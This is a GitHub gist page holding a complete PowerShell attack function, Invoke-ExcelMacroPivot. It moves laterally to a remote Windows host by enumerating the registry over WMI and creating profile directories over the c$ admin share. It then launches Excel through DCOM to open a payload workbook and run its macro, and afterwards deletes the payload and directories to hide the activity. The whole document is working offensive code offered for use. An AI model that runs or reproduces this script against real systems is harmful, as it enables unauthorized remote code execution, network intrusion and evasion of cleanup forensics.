Skip to content

Instantly share code, notes, and snippets.

@bb33bb
Forked from enigma0x3/Invoke-ExcelMacroPivot.ps1
Created February 14, 2019 12:23
Show Gist options
  • Save bb33bb/995a5771b8b01492336268a47d5820e5 to your computer and use it in GitHub Desktop.
Save bb33bb/995a5771b8b01492336268a47d5820e5 to your computer and use it in GitHub Desktop.
function Invoke-ExcelMacroPivot{
<#
.AUTHOR
Matt Nelson (@enigma0x3)
.SYNOPSIS
Pivots to a remote host by using an Excel macro and Excel's COM object
.PARAMETER Target
Remote host to pivot to
.PARAMETER RemoteDocumentPath
Local path on the remote host where the payload resides
.PARAMETER MacroName
The name of the macro residing in the payload document
.EXAMPLE
PS C:\> Invoke-ExcelMacroPivot -Target "192.168.99.152" -RemoteDocumentPath "C:\Book1.xlsm" -MacroName "Auto_Open"
Executes the "Auto_Open" macro from C:\Book1.xlsm on the host 192.168.99.152
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
$Target,
$RemoteDocumentPath,
$MacroName
)
$32BitPath = "\\$target\c$\Windows\System32\config\systemprofile\Desktop"
$64BitPath = "\\$target\c$\Windows\SysWOW64\config\systemprofile\Desktop"
#Connect to remote host via WMI for reg enumeration
try{
Write-Verbose "Connecting to StdRegProv on $target"
$remoteReg = [WMIClass]"\\$target\ROOT\default:StdRegProv"
}catch{
throw "Could not connect to StdRegProv"
}
try{
Write-Verbose "Getting OS Architecture of $target"
$OSArch = @(Get-WmiObject -ComputerName $target -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
}catch{
throw "Could not get OS Arch."
}
#Check if Office is installed
$hklm = [uint32]'0x80000002'
$OfficeResult = $remoteReg.CheckAccess($hklm, 'SOFTWARE\Microsoft\Office',1)
function Local:Prep-Target{
if ($OSArch -eq "64") {
try {
Write-Verbose "Creating both 32 and 64 bit Profile directories"
[system.io.directory]::createDirectory($32BitPath)
[system.io.directory]::createDirectory($64BitPath)
} catch {
throw "Unable to create directory"
}
} elseif ($OSArch -eq "32") {
try {
Write-Verbose "Creating 32 bit profile directory"
[system.io.directory]::createDirectory($32BitPath)
} catch {
throw "Unable to create directory"
}
} else {
throw "OS Arch not determined"
}
}
function Local:Cleanup-Target{
if ($OSArch -eq "64") {
try{
Write-Verbose "Deleting both 32 and 64 bit profile directories"
[system.io.directory]::Delete($32BitPath)
[system.io.directory]::Delete($64BitPath)
} catch{
throw "Unable to delete directory"
}
} elseif ($OSArch -eq "32") {
try{
Write-Verbose "Deleting 32 bit profile directory"
[system.io.directory]::Delete($32BitPath)
} catch{
throw "Unable to delete directory"
}
}
try{
Write-Verbose "Deleting payload from $RemoteDocumentPath on $target"
$UNCPath = "\\$target\c$\" + $RemoteDocumentPath.Replace("C:\","")
[system.io.file]::Delete($UNCPath)
} catch {
throw "Unable to cleanup payload"
}
}
If ($OfficeResult.BGranted -eq $True) {
Write-Verbose "Prepping $target"
Prep-Target
Write-Verbose "Activating Excel.Application on $target"
$Excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application",$target))
Write-Verbose "Opening payload"
$WorkBook = $Excel.Workbooks.Open($RemoteDocumentPath)
Write-Verbose "Executing Macro $MacroName from $RemoteDocumentPath"
$Excel.Run($MacroName)
$WorkBook.Close()
$Excel.Application.Quit()
$Excel.Quit()
[System.Runtime.Interopservices.Marshal]::FinalReleaseComObject($Excel)
Write-Verbose "Sleeping 10 seconds for FinalReleaseCOMOBject() to finish"
Start-Sleep 10
Write-Verbose "Cleaning up $target"
Cleanup-Target
} else{
throw "Office not installed on target"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment